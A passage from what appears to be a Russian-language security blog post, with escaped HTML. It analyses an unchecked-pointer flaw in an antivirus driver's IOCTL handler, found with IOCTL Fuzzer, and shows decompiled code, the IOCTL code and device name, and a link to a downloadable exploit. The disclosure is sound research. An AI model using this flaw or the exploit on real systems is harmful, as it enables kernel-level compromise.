black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)a2, &lt;/span&gt;&lt;span style="color: purple;"&gt;1u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;    ProbeForWrite(&lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(PVOID &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(a2 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;12&lt;/span&gt;&lt;span style="color: black;"&gt;), &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(a2 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;4&lt;/span&gt;&lt;span style="color: black;"&gt;), &lt;/span&gt;&lt;span style="color: purple;"&gt;1u&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; ( v6 )&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;    v7 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; v6(a2); &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; &amp;lt;-- вызов процедуры sub_1FF38()&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: green;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; ...&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; v7;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt;&lt;/pre&gt;Полный код всех процедур, которые участвуют в обработке IOCTL запроса, приводиться не будет по причине его громоздкости.&lt;br /&gt;В ходе проведенного реверсинга было выяснено, что IOCTL запрос с кодом 0x9000402b используется для вызова из пользовательского приложения оригинальных обработчиков тех системных вызовов, которые были перехвачены драйвером антивирусной защиты. При этом во входном буфере по нулевому смещению находится байт, значение которого определяет то, какой системный вызов следует вызвать (например, для &lt;a href="http://msdn.microsoft.com/en-us/library/bb432380(v=vs.85).aspx"&gt;NtCreateFile&lt;/a&gt;() это значение равно 0x2713). Все остальное пространство входного буфера используется для хранения указателей на структуры (&lt;a href="http://msdn.microsoft.com/en-us/library/aa380518(v=vs.85).aspx"&gt;UNICODE_STRING&lt;/a&gt;, &lt;a href="http://msdn.microsoft.com/en-us/library/ff557749(v=vs.85).aspx"&gt;OBJECT_ATTRIBUTES&lt;/a&gt; и другие), которые следует заполнить и передать в качестве параметров для системного вызова.&lt;br /&gt;&lt;br /&gt;Уязвимость, позволяющая выполнить произвольный код с наивысшими привилегиями, содержится в функции, которая непосредственно осуществляет системный вызов. Она заключается в отсутствии проверок упоминавшихся выше указателей на параметры системного вызова:&lt;br /&gt;&lt;pre&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; __thiscall sub_288AA(&lt;/span&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: blue;"&gt;this&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; InputBuffer, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; a3, &lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt; a4)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; извлечение параметров для системного вызова из входного буфера&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;  v18 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;56&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;  v17 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;32&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;  v12 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;36&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;  v14 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;40&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;  v15 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;44&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;  v11 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (HANDLE &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(a3 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;8&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;  ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(a3 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x3C&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;  v10 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (&lt;/span&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: blue;"&gt;this&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;  StringBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xC&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;  v13 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;52&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;  UnicodeString &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x44&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;  v19 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;struct&lt;/span&gt;&lt;span style="color: black;"&gt; _IO_STATUS_BLOCK &lt;/span&gt;&lt;span style="color: black;"&gt;**&lt;/span&gt;&lt;span style="color: black;"&gt;)(a3 &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x40&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;  StringLen &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x14&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;  v16 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;48&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (StringBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; UnicodeString &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; v19 &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt; StringLen)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; заполнение структуры UNICODE_STRING&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(UnicodeString &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;4&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; StringBuffer;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_WORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(UnicodeString &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; StringLen;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_WORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)UnicodeString &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; StringLen;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; заполнение структуры OBJECT_ATTRIBUTES&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;24&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;4&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;12&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0x240u&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;8&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; UnicodeString;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;16&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(ObjAttr &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;20&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; вызов оригинального обработчика системного вызова NtCreateFile()&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;    result &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; sub_185C2(v10, v11, v12, (OBJECT_ATTRIBUTES &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)ObjAttr, v19, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, v13, v14, v15, v16, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, a4);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (result &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;      &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;v11 &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (HANDLE)&lt;/span&gt;&lt;span style="color: black;"&gt;-&lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;  {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;    result &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xC000000Du&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(_DWORD &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;)(InputBuffer &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;4&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0xC000000Du&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;43&lt;/span&gt; &lt;span style="color: black;"&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;44&lt;/span&gt; &lt;span style="color: black;"&gt;  &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; result;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;45&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;46&lt;/span&gt;&lt;/pre&gt;Таким образом, путём передачи уязвимому драйверу специальным образом сформированного буфера атакующий может переписать произвольным значением произвольный байт памяти в пространстве ядра. Более подробно эксплуатация подобных уязвимостей рассматривалась в уже упоминавшейся в данной заметке&amp;nbsp;&lt;a href="http://www.rsdn.ru/article/asm/driverholes.xml"&gt;статье&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Стоит отметить, что рассмотренная уязвимость, не смотря на возможность локального выполнения произвольного кода в пространстве ядра, имеет низкую степень опасности. Это связанно с тем, что необходимое для эксплуатации уязвимости устройство \Device\TmComm может быть открыто только пользователем с наивысшими привилегиями:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/ioctlfuzzer-2010/TmComm.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/ioctlfuzzer-2010/TmComm.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Таким образом, уязвимость представляет исключительно образовательную ценность, и &amp;nbsp;её эксплуатация в реальных условиях является бессмысленной.&amp;nbsp;Для уязвимости был разработан полнофункциональный &lt;a href="http://www.esagelab.com/files/TM_TmComm_9000402b_exploit.zip"&gt;эксплойт&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Загрузить IOCTL Fuzzer&lt;/h3&gt;IOCTL Fuzzer распространяется в виде исходных текстов и исполняемых файлов под 32-х и 64-х разрядные версии Windows.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/ioctlfuzzer/"&gt;Страница программы на Google Code&lt;/a&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/ioctlfuzzer/source/browse/trunk/README.TXT"&gt;Файл 